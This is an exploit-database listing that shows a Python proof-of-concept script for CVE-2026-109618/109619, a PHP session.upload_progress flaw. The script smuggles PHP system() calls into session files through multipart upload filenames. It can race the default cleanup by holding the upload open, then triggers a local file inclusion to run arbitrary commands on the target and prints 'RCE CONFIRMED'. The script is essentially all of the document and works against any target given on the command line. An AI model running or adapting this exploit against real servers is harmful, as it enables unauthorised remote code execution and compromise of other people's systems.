Exploit databaseDownload repository ZIP
GH-4287b60734f413575b4e63bbab297c0f
ikow/php2shell-poc
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ikow/php2shell-pocRevision caffb96b0a16
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/chain_a_session_lfi.py
Python · 6,504 bytes#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — PHP session.upload_progress RCE
Attack vector: Session file injection via unvalidated filename in upload_progress
Conditions:
1. session.upload_progress.enabled = On (DEFAULT)
2. An LFI sink (include/require with user-influenced path) exists in the app
3. Session save path is known or guessable (/tmp, /var/lib/php/sessions, etc.)
Works with the default cleanup=On by holding the writer request open after
FILE_START, then triggering the LFI while the progress entry exists.
This does NOT require a memory corruption exploit — the PHP session serializer
stores raw filenames from multipart uploads, allowing PHP code injection into
session files. Combined with any local file inclusion, this gives pre-auth RCE.
"""
import argparse
import sys
import time
import uuid
from lib import send_raw, connect, parse_target
def inject_session(host, port, path, sid, php_code, tls=False, boundary="AAABBBCCC"):
body = (
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n'
+ sid.encode() + b"\r\n"
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="'
+ php_code.encode("latin-1") + b'"\r\n\r\n'
b"Z\r\n"
b"--" + boundary.encode() + b"--\r\n"
)
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode() + body
return send_raw(host, port, req, tls=tls)
def inject_session_stalled(host, port, path, sid, php_code,
tls=False, boundary="AAABBBCCC", timeout=15):
prefix = (
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n'
+ sid.encode() + b"\r\n"
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
b"--" + boundary.encode() + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="'
+ php_code.encode("latin-1") + b'"\r\n\r\n'
)
first = prefix + b"Z" * 5120
content_length = len(first) + 100000
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {content_length}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n"
).encode() + first
sock = connect(host, port, tls=tls, timeout=timeout)
sock.sendall(req)
return sock
def trigger_lfi(host, port, lfi_path, session_file, sid, tls=False):
url = f"{lfi_path}?page={session_file}"
req = (
f"GET {url} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
return send_raw(host, port, req, tls=tls)
def main():
ap = argparse.ArgumentParser(description="PHP session.upload_progress RCE")
ap.add_argument("--target", default="http://127.0.0.1:18080",
help="Target URL (http:// or https://)")
ap.add_argument("--host", help="(legacy) Target host")
ap.add_argument("--port", type=int, help="(legacy) Target port")
ap.add_argument("--inject-path", default="/index.php")
ap.add_argument("--lfi-path", default="/vuln.php")
ap.add_argument("--session-path", default="/tmp/sessions",
help="Remote session dir. FPM lab: /tmp/sessions. "
"Apache mod_php lab (php-apache.ini save_path=/tmp): use /tmp")
ap.add_argument("--command", default="id")
ap.add_argument("--sid", default="")
ap.add_argument("--cleanup-on", action="store_true",
help="Race the default cleanup=On with a stalled writer")
ap.add_argument("--delay", type=float, default=0.05)
ap.add_argument("--attempts", type=int, default=3)
args = ap.parse_args()
if args.host:
host, port, tls = args.host, args.port or 80, False
else:
host, port, tls = parse_target(args.target)
cmd = args.command.replace("'", "'\"'\"'")
php_code = f"<?php echo '___START___'; system('{cmd}'); echo '___END___';?>"
print(f"[*] Target: {'https' if tls else 'http'}://{host}:{port}")
print(f"[*] Command: {args.command}")
print()
for attempt in range(1, args.attempts + 1):
sid = args.sid or ("exploit" + uuid.uuid4().hex[:20])
session_file = f"{args.session_path}/sess_{sid}"
print(f"[attempt {attempt}] SID={sid} file={session_file}")
stalled = None
try:
if args.cleanup_on:
stalled = inject_session_stalled(
host, port, args.inject_path, sid, php_code, tls=tls)
time.sleep(args.delay)
status1 = "stalled"
else:
resp1 = inject_session(
host, port, args.inject_path, sid, php_code, tls=tls)
status1 = (resp1.split(b"\r\n", 1)[0].decode("latin1", "replace")
if resp1 else "NO RESPONSE")
print(f" plant={status1}")
resp2 = trigger_lfi(
host, port, args.lfi_path, session_file, sid, tls=tls)
body = (resp2.split(b"\r\n\r\n", 1)[-1]
if b"\r\n\r\n" in resp2 else resp2)
if b"___START___" in body and b"___END___" in body:
start = body.index(b"___START___") + len(b"___START___")
end = body.index(b"___END___")
output = body[start:end].decode("latin1", "replace").strip()
print(f"[+] RCE CONFIRMED: {output}")
return 0
status2 = (resp2.split(b"\r\n", 1)[0].decode("latin1", "replace")
if resp2 else "NO RESPONSE")
print(f" lfi={status2} body={body[:160]!r}")
finally:
if stalled is not None:
stalled.close()
time.sleep(0.05)
print("[-] RCE not confirmed — LFI path/session path or timing is wrong")
return 1
if __name__ == "__main__":
sys.exit(main())